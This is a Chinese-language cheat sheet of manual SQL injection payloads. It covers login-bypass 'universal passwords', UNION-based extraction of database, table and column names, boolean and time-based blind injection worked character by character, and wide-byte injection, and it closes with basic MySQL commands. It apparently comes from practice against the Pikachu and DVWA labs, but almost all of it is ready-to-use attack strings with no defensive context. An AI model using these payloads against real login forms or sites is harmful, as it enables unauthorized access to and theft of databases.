SQL手工注入语句

万能密码

or'='or'    
 admin' or '1'=1'    
  admin'#    
  1' or 1=1 --+  
显错注入admin'   '1'='1  

思路：看有没有注入，判断多少列，判断数据库类型，找库，找表，找列，联合查询

#可以在输入框输入，不能在url输入，用%23代替
--+可以在url输入，但不能在输入框输入

判断数据库类型

and exists (select * from msysobjects)>0   access数据库
and exists (select * from sysobjects)>0    sqlserver数据库
and length(user())>0			   mysql数据库

判断有多少列字段（长度）

order by 8  表示<=8列
and 1=2 union select 1,2,3,4,5,6,7,8,9 from admin
and 1=2 union select 1,2,admin,4,password,6,7,8,9 from admin

获取当前连接的数据库

1' union select 1,database() #

mysql手工注入语句

lili' and length(user())>0#
lili' order by 3#
lili' union select database(),2#
lili' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#
lili' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

布尔盲注

猜数据库长度
kobe' and length(database())=7# 
猜数据库
kobe' and ascii(substr(database(),1,1))=112#  p
kobe' and ascii(substr(database(),2,1))=105#  i
kobe' and ascii(substr(database(),3,1))=107#  k
kobe' and ascii(substr(database(),4,1))=97#   a
kobe' and ascii(substr(database(),5,1))=99#   c
kobe' and ascii(substr(database(),6,1))=104#  h
kobe' and ascii(substr(database(),7,1))=117#  u
数据库长度为7
数据库为pikachu

时间盲注

kobe' and sleep(5)# 如果kobe存在的话，这条命令会延迟5s之后执行
kobe' and if((length(database()))=7,sleep(5),1)#
kobe' and if(ascii(substr(database(),1,1))=112,sleep(5),1)#

宽字节注入

%df\' order by 8

数据库常用命令

mysql -u root -p链接
select database();显示使用的当前数据是哪个?
create database dvwa charset=utf8;创建一个数据库
show databases;显示所有数据库
use dvwa; 进入一个数据库
show tables; 查看当前库下有哪些表
describe users;查看表下面那些列
show columns from users;查看表下面那些列